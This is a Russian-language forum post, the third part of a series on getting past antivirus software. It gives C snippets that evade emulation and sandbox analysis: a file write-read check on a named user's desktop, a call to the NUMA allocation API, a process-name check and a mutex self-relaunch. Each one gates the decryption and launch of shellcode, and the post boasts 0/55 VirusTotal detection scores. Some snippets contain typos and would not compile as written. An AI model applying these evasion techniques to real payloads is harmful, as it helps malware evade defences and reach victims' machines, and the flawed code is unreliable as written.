Обход антивирусов. Антиэмуляция, обход сигнатур и все все все. Часть III.

Работающий пенсионер
Олдфаг
Статус
Оффлайн
Регистрация
9 Авг 2016
Сообщения
1,366
Реакции[?]
1,048
Поинты[?]
4K
В этой статье мы продолжим рассматривать методы обхода антивирусов.

ВНИМАНИЕ: Автор не призывает к нарушению УК РФ, а предоставляет информацию для общего развития. Автор не несёт ответственности за ваши действия.
Метод «Знай своего врага»

Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).

Пример 1: Действия, которые зависят от локального пользователя

Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Код:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"

int main( void )
{
  HANDLE file;
  DWORD tmp;
  LPCVOID buff = "1234";
  chat outputbuff[5] = {0};
  file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 
  if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
  {
    CloseHandle(file);
    file = CreateFile(FILE_PATH,
                          GENERIC_READ,
                          FILE_SHARE_READ,
                          NULL,
                          OPEN_EXISTING,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
    if(ReadFile(file, outputbuff, 4, &tmp, NULL))
    {
      if(strncmp(buff, outputbuff, 4) == 0)
      {
        decryptCodeSection();
        startShellCode();
      }
    }
    CloseHandle(file);
  }
  DeleteFile(FILE_PATH);

  return 0;
}
VirusTotal счёт:
0/55


Метод «WTF is that?»

Функций Windows API так много, что системы эмуляции не охватывают их всех.

Пример 1: Что за чёртов NUMA?

NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Пожалуйста, авторизуйтесь для просмотра ссылки.
.

Этот код будет работать на ПК, но не будет работать в эмуляции.
Код:
int main( void )
{
  LPVOID mem = NULL;
  mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
  if( mem != NULL )
  {
    decryptCodeSection();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
0/55

Метод «Проверяем окружение»

Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.

Пример 1: Как меня зовут?

Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Пожалуйста, авторизуйтесь для просмотра ссылки.
.

Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.​
Код:
int main( int argc, char * argv[] )
{
  if( strstr( argv[0], "test.exe" > 0 ) )
  {
    decryptShellCode();
    startShellCode();
  }
  return 0;
}
VirusTotal счёт:
0/55​
Метод «Я вызываю себя!»

Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.

Пример 2: Сначала откроем мьютекс
В коде этого примера (test.exe), запускать фазу расшифровки мы будем только если определённый мьютекс объект всё ещё существует в системе. Трюк в том, что если объект не существует, то этот код будет создавать и вызывать новый инстанцию себя. Дочерний процесс попытается создать мьютекс до того, как родительский процесс умрёт и впадает в ERROR_ALREADY_EXIST.
Код:
int main( void )
{
  HANDLE mutex;
  mutex = CreateMutex( NULL, TRUE, "muuuu" );
  if( GetLastError() == ERROR_ALREADY_EXIST )
  {
    decryptCodeSection();
    startShellCode();
  }
  else
  {
    startExe("test.exe");
    Sleep(100);
  }
  return 0;
}
VirusTotal счёт:
0/55​
 
Сверху Снизу